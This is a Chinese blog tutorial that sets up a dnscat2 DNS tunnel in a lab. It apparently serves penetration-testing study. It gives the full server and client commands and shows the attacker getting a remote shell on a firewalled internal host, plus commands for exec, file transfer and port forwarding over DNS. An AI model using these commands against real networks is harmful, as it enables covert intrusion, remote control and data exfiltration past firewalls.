• Dnscat2隧道


    0x01 前言

      DNS是用来做域名解析的,是连接互联网的关键,故即使是企业内网,在防火墙高度关闭下,也有着很好的连通性,但是黑客却可以通过将其他协议的内容封装再DNS协议中,然后通过DNS请求和响应来传输数据和完成控制。

    0x02 DNS隧道的方式

    目前DNS隧道目前按照连接方式来分:直连隧道和中继隧道。
      直连隧道:用户直接和控制服务器通过DNS连接,由于直连不经过其他DNS服务器,所以速度快,但是很多用户是对DNS服务器是有配置要求的,只能配置特定的服务器,配置其他的DNS服务器不准许;另外这种方式由于直接连接的,很容易暴漏攻击服务器。
      中继隧道:利用DNS迭代查询方式,中间通过多个DNS服务器的跳转,跳转到最终的控制机,整个解析过程更长,所以性能没有直连好,还要防止DNS缓存。
    image
      在两种DNS 隧道中,用的最多的是中继方式,能让DNS服务器做递归查询,则需要每次查询均采用不同域名的,一句话是每次采用新域名的方式来保证走DNS查询,有较高的隐蔽性。
      同时在大多数渗透场景中服务器端是无法连接到内网客户端的,因为防火墙或NAT内网原因,所以多是通过客户端定时连接服务器端来保持状态。
      本次实验中,我们的关注点在Dnscat2所搭建的DNS隧道,故不作方式上的研究。

    0x03 整体环境

      本次我们采用攻击机-Windows DNS服务器-内网机,由于是DNS隧道,故防火墙全开并不受影响。

    攻击机Kali
        IP:10.10.10.10
        DNS:10.10.10.100
    Windows Service DNS服务器:
        域名:www.qianxin.com IN NS ns.baidu.com    ns.baidu.com IN A 10.10.10.20
    内网机Kali:已开启防火墙
        IP:10.10.10.20
        DNS:10.10.10.100
    

    0x04 安装部署

    服务端配置

      安装ruby,下载dnscat2,配置服务端依赖环境,通过ruby ./dnscat2.rb测试是否安装成功。

    #linux下服务器端安装
    #安装ruby
    yum install ruby            #服务器端为ruby开发,所以需要先安装ruby才可以运行
    git clone https://github.com/iagox86/dnscat2.git /opt/DNSCAT2/   #下载   
    cd dnscat2/server/    #进入服务端目录
    gem install bundler  #安装bindle捆绑程序
    sudo bundle install   #bundle运行限制在非root用户下,不过可以sudo进行root下安装
    ruby ./dnscat2.rb
    

    image
      如果不以root用户身份运行它,则可能无法侦听UDP / 53(可以使用--dnsport进行更改)。如果是这样,您会看到一条错误消息。

    客户端配置

      编译客户端应该非常简单-只需编译make / gcc(对于Linux)或Cygwin或Microsoft Visual Studio(对于Windows)即可。这是Linux上的命令:

    git clone https://github.com/iagox86/dnscat2.git
    cd dnscat2/client/
    make    #编译
    ./dnscat   测试
    

    image
      到这里的话,服务端和客户端基本上都配置好了,不过部分环境可能会出现依赖缺少的情况,通过以下命令可以补全

    #缺了不少库采用以下方式安装
    gem install ecdsa
    gem install sha3
    gem install salsa20
    gem install trollop
    gem install trollop
    

    0x05 操作使用

      首先,先启动服务端,服务端会进行监听端口

    ruby ./dnscat2.rb ns.baidu.com --secret=hopeamor --no-cache
    语言      程序         委派域名        密码           
    

    image
      再启动客户端,此处先启动同样可行,不过需要注意的是–dns server=www.baidu.com不可以填写成ns.baidu.com,这里的参数是解析dns权威服务器,而不是上级委派服务器。

    ./dnscat --dns server=www.baidu.com --secret=hopeamor
    程序
    

    image
      接下来,我们在服务端输入如下命令即可

    #进入交互状态
    session -i 1
    #输入shell进入交互
    command (localhost.localdomain) 1> shell
    Sent request to execute a shell
    command (localhost.localdomain) 1> New window created: 2
    Shell session created!
    #看下shell信息
    dnscat2> windows
    0 :: main [active]
      crypto-debug :: Debug window for crypto stuff [*]
      dns1 :: DNS Driver running on 0.0.0.0:53 domains =  [*]
      1 :: command (localhost.localdomain) [encrypted and verified]
      2 :: sh (localhost.localdomain) [encrypted and verified] [*]
    #切换到shell
    dnscat2> session -i 2
    New window created: 2
    history_size (session) => 1000
    Session 2 Security: ENCRYPTED AND VERIFIED!
    (the security depends on the strength of your pre-shared secret!)
    This is a console session!
    #输入命令:
    sh (localhost.localdomain) 2> pwd
    sh (localhost.localdomain) 2> /home/test/dns2cat/dnscat2/client
    

    image
      这时已经完成了连接,跳转至客户端可以看到已经成功连接上了。
    image
      我们在服务端输入ifconfig进行测试,可以看到客户端信息,当然,可以做很多事情。
    image
      连接之后有诸多命令,以下记录了各个命令的使用,在command中使用调出帮助。

    quit(退出控制台)
    kill <id>(中断通道)
    set(设置,比如设置security=open)
    windows(列举出所有的通道)
    window -i <id>(连接某个通道)或者使用session -i <id>
    clear(清屏)
    delay(修改远程会话超时时间)
    exec(执行远程机上的程序)
    shell(得到一个反弹shell,此处必须在1::command(kali)中使用)
    download/upload(两端之间上传下载文件)
    supend(返回到上一层,快捷键ctrl+z即可)
    listen <本地端口> <控制端IP/127.0.0.1>:<端口>(端口转发,此处)(此处必须在1::command(kali)中使用)
    

    加注:

      本人在使用时,配置好的NS域名却在数据中发现走的是直连模式,也就是攻击机到受害机的DNS协议,结果发现是客户端命令用的直连模式,此处使用中继命令即可,不同的是直连命令下,只能只有ip或a解析,但中继模式下却能进行ns解析的二级域名,并且直连和中继是互通的。

    服务端命令:
    #启动
    sudo ruby./dnscat2.rb ns.abc.com --secret=123456   #方式1【常用】中继模式
    sudo ruby./dnscat2.rb --dns server=127.0.0.1,port=533,type=TXT --secret=123456   #方式2直连模式
    sudo ruby./dnscat2.rb abc.com --secret=123456 --security=open --no-cache   #方式3中继
    客户端命令:
    dnscat --secret=123456 abc.com    #对应 方式1中继模式
    dnscat --dns server=<your dnscat2 server ip>,port=553,type=TXT   #对应 方式2,注意使用--dns选项时,port不可省,否则可能连不上,直连模式
    
    –secret 定义了通讯密码。
            两端使用时,均需跟上该密码,可防止中间人攻击。如果不加,dnscat2会生成一个随机字符串,记得拷贝下来在启动客户端时使用。
            同时服务端在运行时,也可通过set secret=<new value>来动态改变
    –security 规定了安全级别
            默认情况下,客户端和服务器都支持并会尝试加密。Open表示服务端允许客户端不加密,这样,客户端就可以通过传递–no-encryption参数来禁用加密。当然也可以在编译时,就禁用客户端加密:make nocrypto。
            同时服务端在运行时,也可通过set security=open来动态改变。
    –no-cache 禁止缓存
            使用powershell-dnscat2客户端时,务必在运行服务器时添加无缓存选项,因为与dnscat2服务器的caching模式不兼容。
    
  • 相关阅读:
    QT UAC问题汇总贴
    被动的流氓
    Web前端优化需要注意的点
    VS快捷键
    延时过程中要加上app.processEvents(),进度条里也要加上这句
    Nim语言:Pascal的语法,Python的缩进
    QString转换成LPCWSTR
    Pascal编译器大全(非常难得)
    WCF学习心得----(三)服务承载
    SafeSEH原理及绕过技术浅析
  • 原文地址:https://www.cnblogs.com/HOPEAMOR/p/16251105.html
Copyright © 2020-2023  润新知